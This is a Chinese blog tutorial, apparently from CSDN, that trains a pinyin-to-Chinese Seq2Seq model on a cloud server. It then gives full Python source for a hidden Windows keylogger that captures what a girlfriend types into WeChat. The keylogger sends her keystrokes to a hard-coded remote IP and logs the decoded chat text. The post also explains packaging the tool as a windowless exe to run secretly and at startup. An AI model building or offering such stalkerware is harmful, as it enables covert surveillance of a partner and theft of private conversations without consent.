效果

1、概要

利用深度学习模型Seq2Seq模型搭建拼音转中文模型,利用python键盘监控事件模块PyHook3监控女朋友的发送的拼音数据并发送给模型进行中文预测存储到本地日志中。

2、结构

使用咱们csdn的Centos云主机搭建开发云 - 一站式云服务平台,Seq2Seq模型训练一个拼音转中文的model,其实就类似于搜狗输入法的软件,通过键盘监听事件,监听特定的微信的服务窗口,获取你女朋友的聊天输入拼音数据存储到队列中,Monitor从队列获取拼音数据,发送HTTP/GET请求给云服务拼音转中文的模型接口API。

3、模型实现

  • 运行环境搭建

模型我们搭建在Centos7云主机服务器中,运行环境安装python3.6.2,最好按照我的版本安装,否则可能后续安装会出现奇怪问题,安装python过程大家可自行百度很简单,这里就不过多详细安装python环境的过程,安装python后我们需要安装模型的运行环境,这里模型训练的tensorflow版本是 tensorflow-1.12.3,大家可以到pypi的官网下载指定版本的whl文件直接安装。安装前咱们需要更新一下pip3版本,否则安装过程会发生错误。其他依赖包我也不多说了,下面是其基本使用到的安装包依赖安装即可。

python 3.6.2

pip3 install --upgrade pip

pip3 install tensorflow-1.12.3-cp36-cp36m-manylinux1_x86_64.whl

pip install tqdm

pip install fastapi

pip install uvicorn==0.16.0

pip install xpinyin

pip install distance

  • 模型训练

模型搭建使用tensorflow实现,Seq2Seq拼音转汉字模型搭建使用开源的模型进行训练,详细的模型源码和介绍搭建可以进到github去看哦!训练数据使用zho_news_2007-2009_1M-sentences,训练过程指令如下,训练了大概十轮,训练了三天时间,预测结果如下:

zho_news_2007-2009_1M-sentences.txt

# 构建语料库

python3 build_corpus.py

# 预处理

python3 prepro.py

# 模型训练

python3 train.py

#For user input test
def main():  g = Graph(is_training=False)# Load vocabpnyn2idx, idx2pnyn, hanzi2idx, idx2hanzi = load_vocab()with g.graph.as_default():    sv = tf.train.Supervisor()with sv.managed_session(config=tf.ConfigProto(allow_soft_placement=True)) as sess:# Restore parameterssv.saver.restore(sess, tf.train.latest_checkpoint(hp.logdir)); print("Restored!")while True:line = input("请输入测试拼音:")if len(line) > hp.maxlen:print('最长拼音不能超过50')continuex = load_test_string(pnyn2idx, line)#print(x)preds = sess.run(g.preds, {g.x: x})#got = "".join(idx2hanzi[str(idx)] for idx in preds[0])[:np.count_nonzero(x[0])].replace("_", "")got = "".join(idx2hanzi[idx] for idx in preds[0])[:np.count_nonzero(x[0])].replace("_", "")print(got)

 4、搭建Pinyin2Hanzi_API接口服务

  • 实现

将训练好的模型,使用fastapi搭建接口服务(在原有开源代码上修改的),并在云主机上将服务启动起来即可。

g = Graph(is_training=False)
# Load vocab
pnyn2idx, idx2pnyn, hanzi2idx, idx2hanzi = load_vocab()
with g.graph.as_default():    sv = tf.train.Supervisor()with sv.managed_session(config=tf.ConfigProto(allow_soft_placement=True)) as sess:# Restore parameterssv.saver.restore(sess, tf.train.latest_checkpoint(hp.logdir)); print("Restored!")
@app.get('/pinyin/{pinyin}')
def fcao_predict(pinyin: str = None):if len(pinyin) > hp.maxlen:return '最长拼音不能超过50'x = load_test_string(pnyn2idx, pinyin)preds = sess.run(g.preds, {g.x: x})got = "".join(idx2hanzi[idx] for idx in preds[0])[:np.count_nonzero(x[0])].replace("_", "")return {"code": 200, "msg": "success", "data": got}if __name__ == '__main__':# main(); print("Done")uvicorn.run(app,host="0.0.0.0",port=8000)
  • 启动服务

云主机启动服务需要开放指定运行服务的端口号,指令如下,开放后我们使用nohup启动我们服务并将日志存储到我们log.log日志中。

# 打开防火墙

systemctl start firewalld
# 开放外部访问端口8000

firewall-cmd --zone=public --add-port=8000/tcp --permanent

firewall-cmd --reload

# nohup启动服务

nohup python3 eval.py >> ./log/log.log 2>&1 &

  • 测试

5、监控程序实现

监控程序我们要做的就是当你女朋友打开微信和别人聊天输入的时候,监控程序获取到输入的拼音将拼音传入队列中,然后消费者去不断的获取队列输入的拼音信息给云主机模型发送http/get请求获取其中文预测结果存储到日志中。

# 封装get请求给云服务器
def sendPinyin(str):res = requests.get(url="http://114.67.233.25:8000/pinyin/{}".format(str))return res.text# 生产者
def Producer(pinyin):q.put(pinyin)print("目前队列有:%s" % q.qsize())# 生产的越快,吃的越快time.sleep(0.1)# 消费者
def Consumer(name):while True:appendInfo(json.loads(sendPinyin(q.get()))['data'])# 监听到键盘事件调用
def onKeyboardEvent(event):global pinyin_strif active_window_process_name() == "WeChat.exe":str = event.Key.lower()if str.isalpha() and len(str) == 1:pinyin_str += strif str == "return" or (str.isdigit() and len(str) == 1):Producer(pinyin_str)pinyin_str = ''# appendInfo("\n")return True

我们使用到队列的原因主要是为了防止pinyin2hanzi的模型响应不快的话影响执行结果,监控程序主要使用pyhook包,在安装前windos系统需要安装swig否则在编译pyhook时候会出现问题。

https://sourceforge.net/projects/swig/
安装swig配置环境变量,否则无法安装PyHook3
pip install PyHook3

6、打包程序

我们将运行程序打包成exe,偷偷运行起来,你也可以设置成windos开机自启动服务

pip install pyinstaller

pyinstaller -F -w  文件名.py

打包成功后会显示dist文件夹,文件夹中就是我们的主程序,只有一个exe文件,我们双击main程序后服务会启动,然后我们打开微信测试一下,会自动在该文件夹下生成log日志日志内容就是我们微信输入的聊天中文。

 7、代码

  • 监控程序
# coding=utf-8
import PyHook3
import pythoncom
import win32gui, win32process, psutil
import requests
import queue
import threading
import time
import json
pinyin_str = ''
q = queue.Queue(maxsize=200)
# 获取当前打开的界面
def active_window_process_name():try:pid = win32process.GetWindowThreadProcessId(win32gui.GetForegroundWindow())return(psutil.Process(pid[-1]).name())except:pass# 监听到鼠标事件调用
def onMouseEvent(event):if (event.MessageName != "mouse move"):  # 因为鼠标一动就会有很多mouse move,所以把这个过滤下print(event.MessageName)# print(active_window_process_name())return True  # 为True才会正常调用,如果为False的话,此次事件被拦截# 监听到键盘事件调用
def onKeyboardEvent(event):global pinyin_strif active_window_process_name() == "WeChat.exe":str = event.Key.lower()if str.isalpha() and len(str) == 1:pinyin_str += strif str == "return" or (str.isdigit() and len(str) == 1):Producer(pinyin_str)pinyin_str = ''# appendInfo("\n")return True# 生产者
def Producer(pinyin):q.put(pinyin)# print("目前队列有:%s" % q.qsize())# 生产的越快,吃的越快time.sleep(0.1)# 消费者
def Consumer(name):while True:res = sendPinyin(q.get())if "data" in res:print(json.loads(res)['data'])appendInfo(json.loads(res)['data'])def sendPinyin(str):res = requests.get(url="http://114.67.233.25:8000/pinyin/{}".format(str))return res.text# 将监听内容写入日志
def appendInfo(text):with open('info.log', 'a', encoding='utf-8') as f:f.write(text + " ")def main():# 创建管理器hm = PyHook3.HookManager()# 监听键盘hm.KeyDown = onKeyboardEventhm.HookKeyboard()# 循环监听pythoncom.PumpMessages()if __name__ == "__main__":p = threading.Thread(target=main, args=())c = threading.Thread(target=Consumer, args=("女朋友",))p.start()c.start()

【深度学习】利用深度学习监控女朋友的微信聊天?相关推荐

  1. 公司能不能监控你的微信聊天?

    最近有朋友私信问我一个问题,在公司用微信聊天,用公司网络,公司能看到聊天内容吗?提示:懒得看完请滑到最后看结论. 坦率地说,以前从来没有分析过微信这类聊天软件,大概率使用私有协议.而私有协议在协议分析 ...

  2. 医学图像分割论文学习--利用深度学习和人脑医学成像进行多类疾病检测(2023)

    文章链接:Multi-class disease detection using deep learning and human brain medical imaging - ScienceDire ...

  3. IP-GUARD监控不到微信聊天内容了解决方案

    最近有人问我,为什么我的控制台历看不到某个人的微信聊天记录了,但是别的人可以看到.这个原因大部分是因为这个客户端安装老刘最新版的微信或体验版的微信,我们的IP-GUARD软件梅州都会更新,遇到这个问题 ...

  4. 基于深度学习的物联网远程监控目标检测

    目标检测是视频监控应用中的关键环节.在远程监控中,需要准确地检测到目标,并将检测到的数据快速传输到主站,以便采取进一步的行动.主要研究了一种利用深度神经网络和物联网对目标进行检测,并将检测到的信息以低 ...

  5. 【AAAI Oral】利用深度增强学习自动解数学题,准确率提升15%

    [AI科技大本营导读]增强学习和人类学习的机制非常相近,DeepMind已经将增强学习应用于AlphaGo以及Atari游戏等场景当中.作为智能教育领域的引领者,阿凡题研究院首次提出了一种基于DQN( ...

  6. 脑机接口新应用,利用深度学习对无声语音信号解码

    浙江大学.中国矿业大学和伦敦大学的研究人员研究了可用于识别神经肌肉信号的空间特征和解码器.具体来说,研究人员提出了利用迁移学习和深度学习的方法,将表面肌电信号数据转换为包含丰富的时频域信息的声谱图.对 ...

  7. 利用深度学习(Keras)进行癫痫分类-Python案例

    目录 癫痫介绍 数据集 Keras深度学习案例 本分享为脑机学习者Rose整理发表于公众号:脑机接口社区 QQ交流群:903290195 癫痫介绍 癫痫,即俗称"羊癫风",是由多种 ...

  8. 【深度学习】利用深度可分离卷积减小计算量及提升网络性能

    [深度学习]利用深度可分离卷积减小计算量及提升网络性能 文章目录 1 深度可分离卷积 2 一个深度可分离卷积层的代码示例(keras) 3 优势与创新3.1 Depthwise 过程3.2 Point ...

  9. AI安全初探——利用深度学习检测DNS隐蔽通道

    AI安全初探--利用深度学习检测DNS隐蔽通道 目录 AI安全初探--利用深度学习检测DNS隐蔽通道 1.DNS 隐蔽通道简介 2. 算法前的准备工作--数据采集 3. 利用深度学习进行DNS隐蔽通道 ...

最新文章

  1. bootstrape实战案例_第二百五十二节,Bootstrap项目实战-首页
  2. Disruptor源码解析 + 实战
  3. 程序员的学习方法的一些总结
  4. 几大科技公司在VR方面的布局是怎么样的?
  5. 数据结构和算法(05)---链表(c++)
  6. android listview中item倒计时,GitHub - TangAnna/ListViewTimer: 列表中每一个item都有计时器 (可实现倒计时或者计时器的功能)...
  7. 阿里巴巴美股股价大跌:创在美上市以来最大单日跌幅
  8. [Unity脚本运行时更新]C#5新特性
  9. Alibaba Cloud Linux 2 LTS 正式发布,提供更高性能和更多保障!
  10. yolov5s.pt下载
  11. C语言实现调用python绘图
  12. 苹果手机无线网显示无网络连接到服务器,iPhone提示:“无线局域网似乎未接入互联网”,咋回事?...
  13. python向量计算库教程_python中numpy基础学习及进行数组和矢量计算
  14. 网闸虚拟服务器,tcp客户端和tcp服务器端 网闸
  15. 安卓web开发!你还在把Java当成Android官方开发语言吗?建议收藏
  16. grad_cam可视化程序搬运
  17. 三星s10android10功能,三星s10+有nfc功能吗 三星s10+支持NFC吗
  18. 仅30行代码,实现一个搜索引擎(1.0版)
  19. 什么是数据可视化,数据可视化有什么价值
  20. 模拟器获取微信小程序pgk然后反编译

热门文章

  1. errrrrrrrrrr
  2. DQL:简单的select语句书写(含where子句)
  3. Java中方法调用完之后,原来的数改变吗?
  4. 最安全的现货白银建仓技巧有哪些?
  5. HTML制作简单交互网页
  6. Mathcad的使用与设计
  7. EOF需要在行首结束
  8. 提取文档中关键词所在行
  9. “80后”古宅修复者辗转5省 用匠心唤醒老宅魅力
  10. Xilinx IDELAY原语使用注意事项